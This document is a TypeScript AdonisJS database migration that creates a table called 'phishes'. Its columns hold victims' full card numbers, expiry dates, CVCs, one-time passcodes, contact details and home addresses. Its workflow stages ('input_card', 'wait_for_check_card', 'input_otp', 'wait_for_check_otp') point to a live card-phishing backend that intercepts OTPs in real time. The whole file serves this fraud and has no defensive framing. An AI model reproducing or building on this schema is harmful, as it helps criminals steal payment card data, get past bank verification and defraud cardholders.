1709881786990_phishes.ts 1.7 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051
  1. import BaseSchema from '@ioc:Adonis/Lucid/Schema'
  2. export default class extends BaseSchema {
  3. protected tableName = 'phishes'
  4. public async up() {
  5. this.schema.createTable(this.tableName, (table) => {
  6. table.increments('id')
  7. /**
  8. * Uses timestamptz for PostgreSQL and DATETIME2 for MSSQL
  9. */
  10. table.datetime('created_at', { useTz: true })
  11. table.datetime('updated_at', { useTz: true })
  12. table.string('ip').nullable()
  13. table.boolean('online').notNullable().defaultTo(false)
  14. table.string('socket_id').nullable()
  15. table
  16. .enum('step', [
  17. 'input_card',
  18. 'wait_for_check_card',
  19. 'input_otp',
  20. 'wait_for_check_otp',
  21. 'success',
  22. 'fail'
  23. ])
  24. .notNullable()
  25. table.string('phone').nullable()
  26. table.string('email').nullable()
  27. table.string('card').nullable()
  28. table.string('expiry').nullable()
  29. table.string('cvc').nullable()
  30. table.string('first_name').nullable()
  31. table.string('last_name').nullable()
  32. table.string('country').nullable()
  33. table.string('state').nullable()
  34. table.string('city').nullable()
  35. table.string('address').nullable()
  36. table.string('zip').nullable()
  37. table.string('otp').nullable()
  38. table.string('otp_type').nullable()
  39. table.string('otp_msg').nullable()
  40. table.string('err_msg').nullable()
  41. })
  42. }
  43. public async down() {
  44. this.schema.dropTable(this.tableName)
  45. }
  46. }